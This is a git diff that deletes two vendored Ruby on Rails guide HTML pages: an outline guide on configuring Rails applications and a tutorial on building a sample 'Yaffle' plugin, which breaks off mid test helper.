-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header" >
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container">
-		
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<ol>
-					<li>
-					<a href="#_locations_for_initialization_code">Locations for Initialization Code</a>
-					</li>
-					<li>
-					<a href="#_using_a_preinitializer">Using a Preinitializer</a>
-					</li>
-					<li>
-					<a href="#_configuring_rails_components">Configuring Rails Components</a>
-						<ul>
-						
-							<li><a href="#_configuring_active_record">Configuring Active Record</a></li>
-						
-							<li><a href="#_configuring_action_controller">Configuring Action Controller</a></li>
-						
-							<li><a href="#_configuring_action_view">Configuring Action View</a></li>
-						
-							<li><a href="#_configuring_action_mailer">Configuring Action Mailer</a></li>
-						
-							<li><a href="#_configuring_active_resource">Configuring Active Resource</a></li>
-						
-							<li><a href="#_configuring_active_support">Configuring Active Support</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_using_initializers">Using Initializers</a>
-					</li>
-					<li>
-					<a href="#_using_an_after_initializer">Using an After-Initializer</a>
-					</li>
-					<li>
-					<a href="#_changelog">Changelog</a>
-					</li>
-			</ol>
-		</div>
-		
-		<div id="content">
-				<h1>Configuring Rails Applications</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Adjust the behavior of your Rails applications
-</p>
-</li>
-<li>
-<p>
-Add additional code to be run at application start time
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_locations_for_initialization_code">1. Locations for Initialization Code</h2>
-<div class="sectionbody">
-<div class="para"><p>preinitializers
-environment.rb first
-env-specific files
-initializers (load_application_initializers)
-after-initializer</p></div>
-</div>
-<h2 id="_using_a_preinitializer">2. Using a Preinitializer</h2>
-<div class="sectionbody">
-</div>
-<h2 id="_configuring_rails_components">3. Configuring Rails Components</h2>
-<div class="sectionbody">
-<h3 id="_configuring_active_record">3.1. Configuring Active Record</h3>
-<h3 id="_configuring_action_controller">3.2. Configuring Action Controller</h3>
-<h3 id="_configuring_action_view">3.3. Configuring Action View</h3>
-<h3 id="_configuring_action_mailer">3.4. Configuring Action Mailer</h3>
-<h3 id="_configuring_active_resource">3.5. Configuring Active Resource</h3>
-<h3 id="_configuring_active_support">3.6. Configuring Active Support</h3>
-</div>
-<h2 id="_using_initializers">4. Using Initializers</h2>
-<div class="sectionbody">
-<div class="literalblock">
-<div class="content">
-<pre><tt>organization, controlling load order</tt></pre>
-</div></div>
-</div>
-<h2 id="_using_an_after_initializer">5. Using an After-Initializer</h2>
-<div class="sectionbody">
-</div>
-<h2 id="_changelog">6. Changelog</h2>
-<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-November 5, 2008: Rough outline by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-</ul></div>
-<div class="para"><p>actionmailer/lib/action_mailer/base.rb
-257:    cattr_accessor :logger
-267:    cattr_accessor :smtp_settings
-273:    cattr_accessor :sendmail_settings
-276:    cattr_accessor :raise_delivery_errors
-282:    cattr_accessor :perform_deliveries
-285:    cattr_accessor :deliveries
-288:    cattr_accessor :default_charset
-291:    cattr_accessor :default_content_type
-294:    cattr_accessor :default_mime_version
-297:    cattr_accessor :default_implicit_parts_order
-299:    cattr_reader :protected_instance_variables</p></div>
-<div class="para"><p>actionmailer/Rakefile
-36:  rdoc.options &lt;&lt; <em>&#8212;line-numbers</em> &lt;&lt; <em>&#8212;inline-source</em> &lt;&lt; <em>-A cattr_accessor=object</em></p></div>
-<div class="para"><p>actionpack/lib/action_controller/base.rb
-263:    cattr_reader :protected_instance_variables
-273:    cattr_accessor :asset_host
-279:    cattr_accessor :consider_all_requests_local
-285:    cattr_accessor :allow_concurrency
-317:    cattr_accessor :param_parsers
-321:    cattr_accessor :default_charset
-325:    cattr_accessor :logger
-329:    cattr_accessor :resource_action_separator
-333:    cattr_accessor :resources_path_names
-337:    cattr_accessor :request_forgery_protection_token
-341:    cattr_accessor :optimise_named_routes
-351:    cattr_accessor :use_accept_header
-361:    cattr_accessor :relative_url_root</p></div>
-<div class="para"><p>actionpack/lib/action_controller/caching/pages.rb
-55:          cattr_accessor :page_cache_directory
-58:          cattr_accessor :page_cache_extension</p></div>
-<div class="para"><p>actionpack/lib/action_controller/caching.rb
-37:        cattr_reader :cache_store
-48:        cattr_accessor :perform_caching</p></div>
-<div class="para"><p>actionpack/lib/action_controller/dispatcher.rb
-98:    cattr_accessor :error_file_path</p></div>
-<div class="para"><p>actionpack/lib/action_controller/mime_type.rb
-24:    cattr_reader :html_types, :unverifiable_types</p></div>
-<div class="para"><p>actionpack/lib/action_controller/rescue.rb
-36:      base.cattr_accessor :rescue_responses
-40:      base.cattr_accessor :rescue_templates</p></div>
-<div class="para"><p>actionpack/lib/action_controller/session/active_record_store.rb
-60:        cattr_accessor :data_column_name
-170:        cattr_accessor :connection
-173:        cattr_accessor :table_name
-177:        cattr_accessor :session_id_column
-181:        cattr_accessor :data_column
-282:      cattr_accessor :session_class</p></div>
-<div class="para"><p>actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb
-44:    cattr_accessor :included_tags, :instance_writer &#8658; false</p></div>
-<div class="para"><p>actionpack/lib/action_view/base.rb
-189:    cattr_accessor :debug_rjs
-193:    cattr_accessor :warn_cache_misses</p></div>
-<div class="para"><p>actionpack/lib/action_view/helpers/active_record_helper.rb
-7:    cattr_accessor :field_error_proc</p></div>
-<div class="para"><p>actionpack/lib/action_view/helpers/form_helper.rb
-805:    cattr_accessor :default_form_builder</p></div>
-<div class="para"><p>actionpack/lib/action_view/template_handlers/erb.rb
-47:      cattr_accessor :erb_trim_mode</p></div>
-<div class="para"><p>actionpack/test/active_record_unit.rb
-5:  cattr_accessor :able_to_connect
-6:  cattr_accessor :connected</p></div>
-<div class="para"><p>actionpack/test/controller/filters_test.rb
-286:    cattr_accessor :execution_log</p></div>
-<div class="para"><p>actionpack/test/template/form_options_helper_test.rb
-3:TZInfo::Timezone.cattr_reader :loaded_zones</p></div>
-<div class="para"><p>activemodel/lib/active_model/errors.rb
-28:    cattr_accessor :default_error_messages</p></div>
-<div class="para"><p>activemodel/Rakefile
-19:  rdoc.options &lt;&lt; <em>&#8212;line-numbers</em> &lt;&lt; <em>&#8212;inline-source</em> &lt;&lt; <em>-A cattr_accessor=object</em></p></div>
-<div class="para"><p>activerecord/lib/active_record/attribute_methods.rb
-9:      base.cattr_accessor :attribute_types_cached_by_default, :instance_writer &#8658; false
-11:      base.cattr_accessor :time_zone_aware_attributes, :instance_writer &#8658; false</p></div>
-<div class="para"><p>activerecord/lib/active_record/base.rb
-394:    cattr_accessor :logger, :instance_writer &#8658; false
-443:    cattr_accessor :configurations, :instance_writer &#8658; false
-450:    cattr_accessor :primary_key_prefix_type, :instance_writer &#8658; false
-456:    cattr_accessor :table_name_prefix, :instance_writer &#8658; false
-461:    cattr_accessor :table_name_suffix, :instance_writer &#8658; false
-467:    cattr_accessor :pluralize_table_names, :instance_writer &#8658; false
-473:    cattr_accessor :colorize_logging, :instance_writer &#8658; false
-478:    cattr_accessor :default_timezone, :instance_writer &#8658; false
-487:    cattr_accessor :schema_format , :instance_writer &#8658; false
-491:    cattr_accessor :timestamped_migrations , :instance_writer &#8658; false</p></div>
-<div class="para"><p>activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb
-11:    cattr_accessor :connection_handler, :instance_writer &#8658; false</p></div>
-<div class="para"><p>activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
-166:      cattr_accessor :emulate_booleans</p></div>
-<div class="para"><p>activerecord/lib/active_record/fixtures.rb
-498:  cattr_accessor :all_loaded_fixtures</p></div>
-<div class="para"><p>activerecord/lib/active_record/locking/optimistic.rb
-38:        base.cattr_accessor :lock_optimistically, :instance_writer &#8658; false</p></div>
-<div class="para"><p>activerecord/lib/active_record/migration.rb
-259:    cattr_accessor :verbose</p></div>
-<div class="para"><p>activerecord/lib/active_record/schema_dumper.rb
-13:    cattr_accessor :ignore_tables</p></div>
-<div class="para"><p>activerecord/lib/active_record/serializers/json_serializer.rb
-4:      base.cattr_accessor :include_root_in_json, :instance_writer &#8658; false</p></div>
-<div class="para"><p>activerecord/Rakefile
-142:  rdoc.options &lt;&lt; <em>&#8212;line-numbers</em> &lt;&lt; <em>&#8212;inline-source</em> &lt;&lt; <em>-A cattr_accessor=object</em></p></div>
-<div class="para"><p>activerecord/test/cases/lifecycle_test.rb
-61:  cattr_reader :last_inherited</p></div>
-<div class="para"><p>activerecord/test/cases/mixin_test.rb
-9:  cattr_accessor :forced_now_time</p></div>
-<div class="para"><p>activeresource/lib/active_resource/base.rb
-206:    cattr_accessor :logger</p></div>
-<div class="para"><p>activeresource/Rakefile
-43:  rdoc.options &lt;&lt; <em>&#8212;line-numbers</em> &lt;&lt; <em>&#8212;inline-source</em> &lt;&lt; <em>-A cattr_accessor=object</em></p></div>
-<div class="para"><p>activesupport/lib/active_support/buffered_logger.rb
-17:    cattr_accessor :silencer</p></div>
-<div class="para"><p>activesupport/lib/active_support/cache.rb
-81:      cattr_accessor :logger</p></div>
-<div class="para"><p>activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
-5:#    cattr_accessor :hair_colors
-10:  def cattr_reader(*syms)
-29:  def cattr_writer(*syms)
-50:  def cattr_accessor(*syms)
-51:    cattr_reader(*syms)
-52:    cattr_writer(*syms)</p></div>
-<div class="para"><p>activesupport/lib/active_support/core_ext/logger.rb
-34:  cattr_accessor :silencer</p></div>
-<div class="para"><p>activesupport/test/core_ext/class/attribute_accessor_test.rb
-6:      cattr_accessor :foo
-7:      cattr_accessor :bar, :instance_writer &#8658; false</p></div>
-<div class="para"><p>activesupport/test/core_ext/module/synchronization_test.rb
-6:    @target.cattr_accessor :mutex, :instance_writer &#8658; false</p></div>
-<div class="para"><p>railties/doc/guides/html/creating_plugins.html
-786:      cattr_accessor &lt;span style="color: #990000"&gt;:&lt;/span&gt;yaffle_text_field&lt;span style="color: #990000"&gt;,&lt;/span&gt; &lt;span style="color: #990000"&gt;:&lt;/span&gt;yaffle_date_field
-860:      cattr_accessor &lt;span style="color: #990000"&gt;:&lt;/span&gt;yaffle_text_field&lt;span style="color: #990000"&gt;,&lt;/span&gt; &lt;span style="color: #990000"&gt;:&lt;/span&gt;yaffle_date_field</p></div>
-<div class="para"><p>railties/lib/rails_generator/base.rb
-93:      cattr_accessor :logger</p></div>
-<div class="para"><p>railties/Rakefile
-265:  rdoc.options &lt;&lt; <em>&#8212;line-numbers</em> &lt;&lt; <em>&#8212;inline-source</em> &lt;&lt; <em>&#8212;accessor</em> &lt;&lt; <em>cattr_accessor=object</em></p></div>
-<div class="para"><p>railties/test/rails_info_controller_test.rb
-12:    cattr_accessor :local_request</p></div>
-<div class="para"><p>Rakefile
-32:  rdoc.options &lt;&lt; <em>-A cattr_accessor=object</em></p></div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/creating_plugins.html b/vendor/rails/railties/doc/guides/html/creating_plugins.html
deleted file mode 100644
index 375d216b..00000000
--- a/vendor/rails/railties/doc/guides/html/creating_plugins.html
+++ /dev/null
@@ -1,1594 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>The Basics of Creating Rails Plugins</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header" >
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container">
-		
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<ol>
-					<li>
-					<a href="#_preparation">Preparation</a>
-						<ul>
-						
-							<li><a href="#_create_the_basic_app">Create the basic app</a></li>
-						
-							<li><a href="#_generate_the_plugin_skeleton">Generate the plugin skeleton</a></li>
-						
-							<li><a href="#_setup_the_plugin_for_testing">Setup the plugin for testing</a></li>
-						
-							<li><a href="#_run_the_plugin_tests">Run the plugin tests</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_extending_core_classes">Extending core classes</a>
-						<ul>
-						
-							<li><a href="#_creating_the_test">Creating the test</a></li>
-						
-							<li><a href="#_organize_your_files">Organize your files</a></li>
-						
-							<li><a href="#_working_with_init_rb">Working with init.rb</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_add_an_tt_acts_as_yaffle_tt_method_to_active_record">Add an <tt>acts_as_yaffle</tt> method to Active Record</a>
-						<ul>
-						
-							<li><a href="#_add_a_class_method">Add a class method</a></li>
-						
-							<li><a href="#_add_an_instance_method">Add an instance method</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_create_a_generator">Create a generator</a>
-						<ul>
-						
-							<li><a href="#_testing_generators">Testing generators</a></li>
-						
-							<li><a href="#_adding_to_the_manifest">Adding to the manifest</a></li>
-						
-							<li><a href="#_manually_test_the_generator">Manually test the generator</a></li>
-						
-							<li><a href="#_the_usage_file">The USAGE file</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_add_a_custom_generator_command">Add a custom generator command</a>
-					</li>
-					<li>
-					<a href="#_add_a_model">Add a model</a>
-					</li>
-					<li>
-					<a href="#_add_a_controller">Add a controller</a>
-					</li>
-					<li>
-					<a href="#_add_a_helper">Add a helper</a>
-					</li>
-					<li>
-					<a href="#_add_a_custom_route">Add a Custom Route</a>
-					</li>
-					<li>
-					<a href="#_odds_and_ends">Odds and ends</a>
-						<ul>
-						
-							<li><a href="#_generate_rdoc_documentation">Generate RDoc Documentation</a></li>
-						
-							<li><a href="#_write_custom_rake_tasks_in_your_plugin">Write custom Rake tasks in your plugin</a></li>
-						
-							<li><a href="#_store_plugins_in_alternate_locations">Store plugins in alternate locations</a></li>
-						
-							<li><a href="#_create_your_own_plugin_loaders_and_plugin_locators">Create your own Plugin Loaders and Plugin Locators</a></li>
-						
-							<li><a href="#_use_custom_plugin_generators">Use Custom Plugin Generators</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_appendix">Appendix</a>
-						<ul>
-						
-							<li><a href="#_references">References</a></li>
-						
-							<li><a href="#_final_plugin_directory_structure">Final plugin directory structure</a></li>
-						
-						</ul>
-					</li>
-			</ol>
-		</div>
-		
-		<div id="content">
-				<h1>The Basics of Creating Rails Plugins</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>A Rails plugin is either an extension or a modification of the core framework. Plugins provide:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-a way for developers to share bleeding-edge ideas without hurting the stable code base
-</p>
-</li>
-<li>
-<p>
-a segmented architecture so that units of code can be fixed or updated on their own release schedule
-</p>
-</li>
-<li>
-<p>
-an outlet for the core developers so that they don’t have to include every cool new feature under the sun
-</p>
-</li>
-</ul></div>
-<div class="para"><p>After reading this guide you should be familiar with:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Creating a plugin from scratch
-</p>
-</li>
-<li>
-<p>
-Writing and running tests for the plugin
-</p>
-</li>
-<li>
-<p>
-Storing models, views, controllers, helpers and even other plugins in your plugins
-</p>
-</li>
-<li>
-<p>
-Writing generators
-</p>
-</li>
-<li>
-<p>
-Writing custom Rake tasks in your plugin
-</p>
-</li>
-<li>
-<p>
-Generating RDoc documentation for your plugin
-</p>
-</li>
-<li>
-<p>
-Avoiding common pitfalls with <em>init.rb</em>
-</p>
-</li>
-</ul></div>
-<div class="para"><p>This guide describes how to build a test-driven plugin that will:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Extend core ruby classes like Hash and String
-</p>
-</li>
-<li>
-<p>
-Add methods to ActiveRecord::Base in the tradition of the <em>acts_as</em> plugins
-</p>
-</li>
-<li>
-<p>
-Add a view helper that can be used in erb templates
-</p>
-</li>
-<li>
-<p>
-Add a new generator that will generate a migration
-</p>
-</li>
-<li>
-<p>
-Add a custom generator command
-</p>
-</li>
-<li>
-<p>
-A custom route method that can be used in routes.rb
-</p>
-</li>
-</ul></div>
-<div class="para"><p>For the purpose of this guide pretend for a moment that you are an avid bird watcher.  Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness.  First, you need to get setup for development.</p></div>
-</div>
-</div>
-<h2 id="_preparation">1. Preparation</h2>
-<div class="sectionbody">
-<h3 id="_create_the_basic_app">1.1. Create the basic app</h3>
-<div class="para"><p>The examples in this guide require that you have a working rails application.  To create a simple rails app execute:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>gem install rails
-rails yaffle_guide
-cd yaffle_guide
-script/generate scaffold bird name:string
-rake db:migrate
-script/server</tt></pre>
-</div></div>
-<div class="para"><p>Then navigate to <a href="http://localhost:3000/birds">http://localhost:3000/birds</a>.  Make sure you have a functioning rails app before continuing.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">
-<div class="title">Editor's note:</div>The aforementioned instructions will work for sqlite3.  For more detailed instructions on how to create a rails app for other databases see the API docs.</td>
-</tr></table>
-</div>
-<h3 id="_generate_the_plugin_skeleton">1.2. Generate the plugin skeleton</h3>
-<div class="para"><p>Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either <em>CamelCased</em> or <em>under_scored</em>, as an argument. Pass <tt>--with-generator</tt> to add an example generator also.</p></div>
-<div class="para"><p>This creates a plugin in <em>vendor/plugins</em> including an <em>init.rb</em> and <em>README</em> as well as standard <em>lib</em>, <em>task</em>, and <em>test</em> directories.</p></div>
-<div class="para"><p>Examples:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>./script/generate plugin yaffle
-./script/generate plugin yaffle --with-generator</tt></pre>
-</div></div>
-<div class="para"><p>To get more detailed help on the plugin generator, type <tt>./script/generate plugin</tt>.</p></div>
-<div class="para"><p>Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the <tt>--with-generator</tt> option now:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>./script/generate plugin yaffle --with-generator</tt></pre>
-</div></div>
-<div class="para"><p>You should see the following output:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>create  vendor/plugins/yaffle/lib
-create  vendor/plugins/yaffle/tasks
-create  vendor/plugins/yaffle/test
-create  vendor/plugins/yaffle/README
-create  vendor/plugins/yaffle/MIT-LICENSE
-create  vendor/plugins/yaffle/Rakefile
-create  vendor/plugins/yaffle/init.rb
-create  vendor/plugins/yaffle/install.rb
-create  vendor/plugins/yaffle/uninstall.rb
-create  vendor/plugins/yaffle/lib/yaffle.rb
-create  vendor/plugins/yaffle/tasks/yaffle_tasks.rake
-create  vendor/plugins/yaffle/test/core_ext_test.rb
-create  vendor/plugins/yaffle/generators
-create  vendor/plugins/yaffle/generators/yaffle
-create  vendor/plugins/yaffle/generators/yaffle/templates
-create  vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb
-create  vendor/plugins/yaffle/generators/yaffle/USAGE</tt></pre>
-</div></div>
-<div class="para"><p>To begin just change one thing - move <em>init.rb</em> to <em>rails/init.rb</em>.</p></div>
-<h3 id="_setup_the_plugin_for_testing">1.3. Setup the plugin for testing</h3>
-<div class="para"><p>If your plugin interacts with a database, you'll need to setup a database connection.  In this guide you will learn how to test your plugin against multiple different database adapters using Active Record.  This guide will not cover how to use fixtures in plugin tests.</p></div>
-<div class="para"><p>To setup your plugin to allow for easy testing you'll need to add 3 files:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-A <em>database.yml</em> file with all of your connection strings
-</p>
-</li>
-<li>
-<p>
-A <em>schema.rb</em> file with your table definitions
-</p>
-</li>
-<li>
-<p>
-A test helper method that sets up the database
-</p>
-</li>
-</ul></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/database.yml:</strong></p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>sqlite:
-  :adapter: sqlite
-  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db
-
-sqlite3:
-  :adapter: sqlite3
-  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db
-
-postgresql:
-  :adapter: postgresql
-  :username: postgres
-  :password: postgres
-  :database: yaffle_plugin_test
-  :min_messages: ERROR
-
-mysql:
-  :adapter: mysql
-  :host: localhost
-  :username: root
-  :password: password
-  :database: yaffle_plugin_test</tt></pre>
-</div></div>
-<div class="para"><p>For this guide you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/schema.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActiveRecord<span style="color: #990000">::</span>Schema<span style="color: #990000">.</span>define<span style="color: #990000">(:</span>version <span style="color: #990000">=&gt;</span> <span style="color: #993399">0</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-  create_table <span style="color: #990000">:</span>hickwalls<span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-    t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
-    t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>last_squawk
-    t<span style="color: #990000">.</span>datetime <span style="color: #990000">:</span>last_squawked_at
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  create_table <span style="color: #990000">:</span>wickwalls<span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-    t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
-    t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>last_tweet
-    t<span style="color: #990000">.</span>datetime <span style="color: #990000">:</span>last_tweeted_at
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  create_table <span style="color: #990000">:</span>woodpeckers<span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-    t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/test_helper.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ENV<span style="color: #990000">[</span><span style="color: #FF0000">'RAILS_ENV'</span><span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'test'</span>
-ENV<span style="color: #990000">[</span><span style="color: #FF0000">'RAILS_ROOT'</span><span style="color: #990000">]</span> <span style="color: #990000">||=</span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/../../../..'</span>
-
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test/unit'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>ENV<span style="color: #990000">[</span><span style="color: #FF0000">'RAILS_ROOT'</span><span style="color: #990000">],</span> <span style="color: #FF0000">'config/environment.rb'</span><span style="color: #990000">))</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> load_schema
-  config <span style="color: #990000">=</span> YAML<span style="color: #990000">::</span><span style="font-weight: bold"><span style="color: #0000FF">load</span></span><span style="color: #990000">(</span>IO<span style="color: #990000">.</span>read<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/database.yml'</span><span style="color: #990000">))</span>
-  ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">"/debug.log"</span><span style="color: #990000">)</span>
-
